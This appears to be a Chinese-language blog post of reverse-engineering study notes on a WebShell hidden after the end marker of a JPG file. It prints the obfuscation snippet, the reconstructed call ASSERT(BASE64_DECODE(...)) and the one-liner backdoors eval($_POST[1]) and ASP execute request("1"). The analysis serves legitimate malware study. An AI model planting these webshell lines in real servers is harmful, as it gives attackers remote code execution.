【逆向筆記】拆解 jpg中的一句話木馬
因為預計今年年底報考 TCM 的 PMRP,所以會開始學習有關逆向分析的知識 該系列會針對獲得的樣本進行逆向分析筆記,因為還在學習中如有錯誤請見諒
【逆向筆記】拆解 jpg中的一句話木馬

【逆向筆記】拆解 jpg 一句話木馬
因為預計今年年底報考 TCM 的 PMRP,所以會開始學習有關逆向分析的知識 該系列會針對獲得的樣本進行逆向分析筆記,因為還在學習中如有錯誤請見諒
此樣本為偽裝成 JPG 圖檔的 WebShell 樣本,曾於真實環境伺服器中觸發 Microsoft Defender 偵測,後續於隔離實驗室環境進行分析
下圖為本次分析的圖片內容

jpg
首先確認該檔案的 SHA256 hash:

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021
比對情資後,確認有 7 家廠商判定為惡意

16ecb2270554e7a040edb924a64895624b2cee0cd406ccaaf24f9112eb70a021
接著確認該檔案格式可被辨識為 JPG,檔案大小為 11.28 KiB。

jpg
接著開啟 HxD 檢查該 jpg 檔,首先查看該檔案開頭是否為 FF D8 FF
FF D8 FF是 JPEG 的 Start of Image,確認該檔案為 JPEG沒錯

FFD8FF
接著搜尋 FF D9 End of Image,發現在 FF D9 之後還有很多奇怪的資料

FFD9
仔細檢視發現,在 jpg 結束後接了一段 PHP 程式碼 <?php...

php
將 JPG 尾端附加的 PHP 程式碼複製至 Notepad++ 檢視後,可以看到 payload 前半段使用大量底線變數、字串遞增等混淆手法,最後一段則會呼叫前面動態拼接出的函式,將 Base64 字串解碼後交由 PHP 執行

php
首先先解碼最後一段的 Base64 後發現內容為 eval($_POST[1]),代表攻擊者可透過 POST 參數 1 傳入任意 PHP 程式碼並由伺服器端執行

Base64
為了了解混淆內容,嘗試直接執行 php.exe 並列印出混淆的指令, 先將原始危險呼叫註解,避免實際執行 WebShell payload

php
接著用 echo 列印混淆後產生的函式名稱。

php
接著嘗試使用 php.exe 直接執行該 PHP payload,但因為前段混淆語法適用於舊版 PHP,在 PHP 7.x / 8.x 環境中會出現錯誤
因此前段混淆改以直接解析並替代的方式進行後續分析
先分析開頭這段 php 程式碼
$_="";
$_[+$_]++;
$_=$_."";
$___=$_[+""];//A
知道了 $_ = "A"; $___ = $_[0]; $___ = "A";後將腳本前段的混淆替代改為

php
執行 php.exe 後可以知道 $_ 最後等於 BASE64_DECODE 而 $__ 等於 ASSERT

php
此原始危險呼叫:
$__($_("ZXZhbCgkX1BPU1RbMV0p"));
可還原為
ASSERT(BASE64_DECODE("ZXZhbCgkX1BPU1RbMV0p"));
再往下一層,Base64 解碼結果是:
eval($_POST[1])
所以最終惡意指令如下圖,確認了這是隱藏在jpg的一句話木馬

php
此樣本在一般圖片檢視器中通常不會直接執行,但當它被上傳或放置到 Web Server 後,若伺服器錯誤地將 JPG 當作 PHP/ASP 腳本解析,就可能造成遠端程式碼執行
另外,在 PHP 區塊後方也發現 ASP 語法的指令,同樣是一句話木馬,推測攻擊者可能同時準備 PHP 與 ASP 兩種環境下的備援 WebShell payload。

asp
結論:該腳本是一個混淆型 WebShell,並符合一句話木馬特徵,PHP 部分透過字串遞增與拼接方式隱藏 base64_decode 與 assert,最終還原為 eval($_POST[1]);ASP 部分則使用 execute request("1") 作為 ASP 版本的一句話木馬,若此檔案被 Web Server 當作 PHP 或 ASP 解析,攻擊者可透過參數 1 傳入任意程式碼並在伺服器端執行
此次分析到這邊就結束了,這個樣本看起來是比較舊型態的木馬,若目標環境已更新 PHP 版本、正確設定,則此木馬成功執行的可能性會大幅降低
메타데이터
- post_id
- eb091dc128ba
- slug
- 逆向筆記-拆解-jpg中的一句話木馬-eb091dc128ba
- url
- https://medium.com/@sega_tw/%E9%80%86%E5%90%91%E7%AD%86%E8%A8%98-%E6%8B%86%E8%A7%A3-jpg%E4%B8%AD%E7%9A%84%E4%B8%80%E5%8F%A5%E8%A9%B1%E6%9C%A8%E9%A6%AC-eb091dc128ba
- canonical_url
- https://medium.com/@sega_tw/%E9%80%86%E5%90%91%E7%AD%86%E8%A8%98-%E6%8B%86%E8%A7%A3-jpg%E4%B8%AD%E7%9A%84%E4%B8%80%E5%8F%A5%E8%A9%B1%E6%9C%A8%E9%A6%AC-eb091dc128ba
- author_url
- https://medium.com/@sega_tw
- status
- ok
- fetched_at
- 2026-06-15 20:49:13